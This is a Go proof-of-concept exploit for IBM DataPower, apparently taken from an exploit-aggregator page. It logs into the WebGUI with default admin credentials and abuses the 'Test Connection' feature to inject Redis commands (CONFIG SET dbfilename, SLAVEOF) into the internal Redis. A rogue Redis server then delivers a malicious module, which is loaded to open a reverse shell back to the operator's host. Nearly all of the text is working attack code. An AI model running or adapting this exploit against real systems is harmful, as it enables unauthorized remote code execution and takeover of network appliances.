4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"crypto/tls"
	"encoding/xml"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"path"
	"strconv"
	"strings"
	"time"
)

func main() {
	datapowerIP := flag.String("dpip", "", "Datapower IP Address")
	datapowerWebGUIPort := flag.Int("dpport", 9090, "Datapower WebGUI Port")
	datapowerWebGUIUsername := flag.String("dpwebguiuser", "admin", "Datapower WebGUI Username")
	datapowerWebGUIPassword := flag.String("dpwebguipassword", "admin", "Datapower WebGUI Password")
	datapowerRedisPassword := flag.String("dpredispasswd", "", "Datapower Internal Redis Password")
	datapowerRedisPort := flag.Int("dpredisport", 16379, "Datapower Internal Redis Port")
	datapowerRedisModule := flag.String("dpredismodule", "dpredisshell.so", "Redis Reverse Shell Module")
	localPort := flag.Int("fakeredisport", 8888, "Local port to run remote shell handler + fake redis server")
	localIPAddress := flag.String("fakeredisip", "", "local address to run remote shell handler + fake redis server")
	flag.Parse()
	if *datapowerIP == "" || *datapowerRedisPassword == "" || *localIPAddress == "" {
		log.Fatalln("Please make sure you specify all the required flags. Run with '-h' to see all tha flags.")
	}
	if _, err := os.Stat(*datapowerRedisModule); os.IsNotExist(err) {
		log.Fatalf("Redis Module '%s' does not exist. Please check you compiled it with 'make' and specified it's location with the '-dpredismodule' flag", *datapowerRedisModule)
	}
	log.SetPrefix("Main      - ")
	log.Println("datapower-redis-rce-exploit - Created by Thomas Cope")
	log.Printf("Starting Rogue Redis Server...")
	fakeRedisTimeoutChannel := make(chan bool, 1)
	fakeRedisShellChannel := make(chan net.Conn, 1)
	go FakeRedis(*localIPAddress, *localPort, fakeRedisTimeoutChannel, *datapowerRedisModule, fakeRedisShellChannel)
	log.Println("Attempting to Login to Datapower...")
	endpoint := fmt.Sprintf("https://%s:%d", *datapowerIP, *datapowerWebGUIPort)
	loginForm := url.Values{}
	loginForm.Set("user", *datapowerWebGUIUsername)
	loginForm.Set("pass", *datapowerWebGUIPassword)
	loginForm.Set("domain", "default")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //Note: Datapower WebGUI Certs are usually self signed.
	}
	client := &http.Client{Transport: tr}
	r, err := http.NewRequest("POST", endpoint+"/dp/sys.login", strings.NewReader(loginForm.Encode()))
	if err != nil {
		log.Fatal(err)
	}
	r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
	r.Header.Add("Content-Length", strconv.Itoa(len(loginForm.Encode())))
	res, err := client.Do(r)
	if err != nil {
		log.Fatal(err)
	}
	if res.Status != "200 OK" {
		log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
	}
	defer res.Body.Close()
	dpLoginBody, err := ioutil.ReadAll(res.Body)
	if err != nil {
		log.Fatal(err)
	}
	type DPLoginResponse struct {
		XMLName  xml.Name `xml:"response"`
		Text     string   `xml:",chardata"`
		Result   string   `xml:"result"`
		SAMLart  string   `xml:"SAMLart"`
		Location string   `xml:"location"`
	}
	var dpLoginResult DPLoginResponse
	err = xml.Unmarshal(dpLoginBody, &dpLoginResult)
	if err != nil {
		log.Fatal(err)
	}
	if dpLoginResult.Result != "success" {
		log.Fatalf("Datapower login failed. Bad XML Return Code - %v+", dpLoginResult)
	}
	log.Println("Datapower Credentials Valid!")
	log.Printf("Datapower Login Token = %s", dpLoginResult.SAMLart)
	log.Println("Exchanging Login token for auth cookie...")
	r, err = http.NewRequest("GET", fmt.Sprintf("%s/css/login.css?SAMLart=%s", endpoint, dpLoginResult.SAMLart), nil)
	if err != nil {
		log.Fatal(err)
	}
	r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
	res, err = client.Do(r)
	if err != nil {
		log.Fatal(err)
	}
	if res.Status != "200 OK" {
		log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
	}
	defer res.Body.Close()
	dpLoginCookie := res.Cookies()
	log.Printf("Got login Cookie OK! - %v+", dpLoginCookie)
	log.Println("Datapower Login Complete!")
	log.Printf("Attempting Redis exploit via Datapower 'Test Connection' ...")
	redisExploit := fmt.Sprintf(`AUTH %s
CONFIG SET dbfilename %s
SLAVEOF %s %d`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort)
	err = DPTestConnection(redisExploit, *datapowerRedisPort, dpLoginCookie, endpoint)
	if err != nil {
		log.Fatalf("Failed to perform redis exploit via Datapower 'Test Connection'. Error Message = %s", err.Error())
	}
	log.Printf("Datapower 'Test Connection' sent OK, waiting for redis connection...")
	select {
	case res := <-fakeRedisTimeoutChannel:
		if res == false {
			log.Fatal("Internal Error! Datapower internal redis failed to negotiate with fake redis server.")
		}
	case <-time.After(30 * time.Second):
		log.Fatal("Timeout! Datapower internal redis failed to connect to fake redis server after 30 seconds. Note: This can also occur if the redis password is incorrect.")
	}
	log.Printf("Payload has been delivered to Datapower internal redis!")
	log.Printf("Performing clean up...")
	cleanUpCommands := fmt.Sprintf(`AUTH %s
SLAVEOF NO ONE
CONFIG SET dbfilename dump.rdb`, *datapowerRedisPassword)
	err = DPTestConnection(cleanUpCommands, *datapowerRedisPort, dpLoginCookie, endpoint)
	if err != nil {
		log.Fatalf("Failed to perform cleanup via Datapower 'Test Connection'. Error Message = %s", err.Error())
	}
	log.Printf("Requesting Reverse Shell via Datapower 'Test Connection' ...")
	go func() {
		runReverseShell := fmt.Sprintf(`AUTH %s
MODULE LOAD ./%s
dpshell.go %s %d %s`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort, path.Base(*datapowerRedisModule))
		DPTestConnection(runReverseShell, *datapowerRedisPort, dpLoginCookie, endpoint)
	}()
	log.Printf("Waiting for Reverse Shell...")
	select {
	case shellConnection := <-fakeRedisShellChannel:
		log.Printf("Got Reverse Shell!")
		log.Printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
		go func() {
			io.Copy(os.Stdin, shellConnection)
		}()
		io.Copy(shellConnection, os.Stdout)
	case <-time.After(30 * time.Second):
		log.Fatal("Timeout! Did not receive reverse shell connection.")
	}
}